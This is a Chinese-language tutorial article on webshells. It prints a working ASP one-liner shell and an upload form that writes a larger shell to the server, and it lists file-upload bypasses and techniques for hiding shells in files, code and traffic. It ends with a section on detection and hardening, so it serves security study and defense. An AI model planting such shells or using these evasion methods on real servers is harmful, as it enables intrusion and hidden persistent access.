首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

Webshell 實現原理與隱藏技術探究

     編輯:PHP 相關知識

一、什麼是 Webshell

Webshell 是用腳本語言編寫的網頁管理工具,提供對 Web 服務器的操作權限。按腳本分類:PHP、ASP、ASP.NET、JSP、Python 等;按功能分:大馬(功能全、體積大)與小馬(一句話木馬、體積小、需客戶端配合)。

二、小馬工作原理(以 ASP 為例)

服務端

<%eval request("pass")%>

將 `request("pass")` 獲取的字符串作為代碼執行。

客戶端

<form action="https://host/TEXT.asp" method="post">
<textarea name="value" cols="120" rows="10">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2
lP.Close
set lP=nothing
response.redirect "newmm.asp"
</textarea>
<textarea name="newvalue" cols="120" rows="10">(木馬代碼)</textarea>
<input type="submit" value="提交">
</form>

通過表單提交,利用 ADODB.Stream 以文本方式寫入新文件,實現大馬上傳。PHP 一句話原理相同,僅語法不同。

三、大馬部署策略

直接上傳大馬訪問即可操作。若上傳限制導致大馬無法上傳,可先上傳小馬,再通過小馬上傳大馬。

四、Webshell 上傳途徑

1. 解析漏洞上傳

(1) IIS 目錄解析漏洞 (IIS 5.x/6.0)

建立 `xx.asp` 目錄,上傳 `shell.jpg` 至該目錄,IIS 會將其作為 ASP 解析執行。

(2) IIS 文件解析漏洞

文件名 `shell.asp;.jpg`,IIS 6.0 默認按分號前擴展名解析。

(3) Nginx 異常解析 (CVE-2010-2303 等)

請求 `test.jpg/.php` 時,若 `cgi.fix_pathinfo=1`,Nginx 會將其傳給 PHP-FPM 解析為 PHP。

(4) Apache 多後綴解析

Apache 識別多後綴:`shell.php.jpg` 若配置 `AddHandler php5-script .php` 會按 `.php` 解析。

2. 編輯器上傳漏洞

FCKeditor、eWebEditor、KindEditor 等歷史版本存在上傳驗證繞過,可直接上傳腳本文件。

3. 邏輯漏洞與繞過

  • 前端 JS 驗證繞過(抓包修改)
  • Content-Type 偽裝(`image/jpeg` 實為 PHP)
  • 文件頭偽裝(GIF89a + PHP 代碼)
  • .htaccess 修改解析(需寫入權限)
  • 解析漏洞組合利用

五、Webshell 隱藏技術

1. 文件層面

  • 時間戳修改(`touch -r reference_file shell.php`)
  • 偽裝擴展名(`config.php.bak`、`.user.ini`)
  • 隱藏屬性(Linux 隱藏文件 `.shell.php`、Windows `attrib +h +s`)
  • 畸形路徑(`/var/www/html/ %20/shell.php`)

2. 代碼層面

  • 動態函數構造(異或、Base64、ROT13、gzcompress)
  • 利用 `assert`、`preg_replace /e`、`create_function`、`call_user_func` 等
  • 類/命名空間封裝、多文件分塊加載
  • 掛載正常業務文件(如 `include 'header.php';` 後注入代碼)

3. 流量層面

  • 偽裝正常參數名(`id`、`page`、`callback`)
  • Cookie / Header 傳遞命令
  • 加密通訊(AES、RC4、自定義編碼)
  • 域前置、CDN 隱藏真實 IP

六、檢測與防禦

  1. 文件掃描:特徵匹配(YARA)、語義分析(AST)、熵值檢測、機器學習分類
  2. 行為監控:RASP 鉤子危險函數、審計 `exec` `eval` `file_put_contents` 等調用
  3. 流量分析:WAF 規則、異常 POST 請求、高頻錯誤碼、會話異常
  4. 基線核查:定期比對文件完整性(hash)、審計權限、清理無用文件
  5. 架構加固:Web 目錄不可寫、禁用執行權限、`open_basedir`、`disable_functions`、最小權限運行

結語

Webshell 攻防是持續博弈。理解實現原理與隱藏手法,有助於構建更有效的檢測與防禦體系。所有技術僅供授權安全測試與防禦研究使用。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved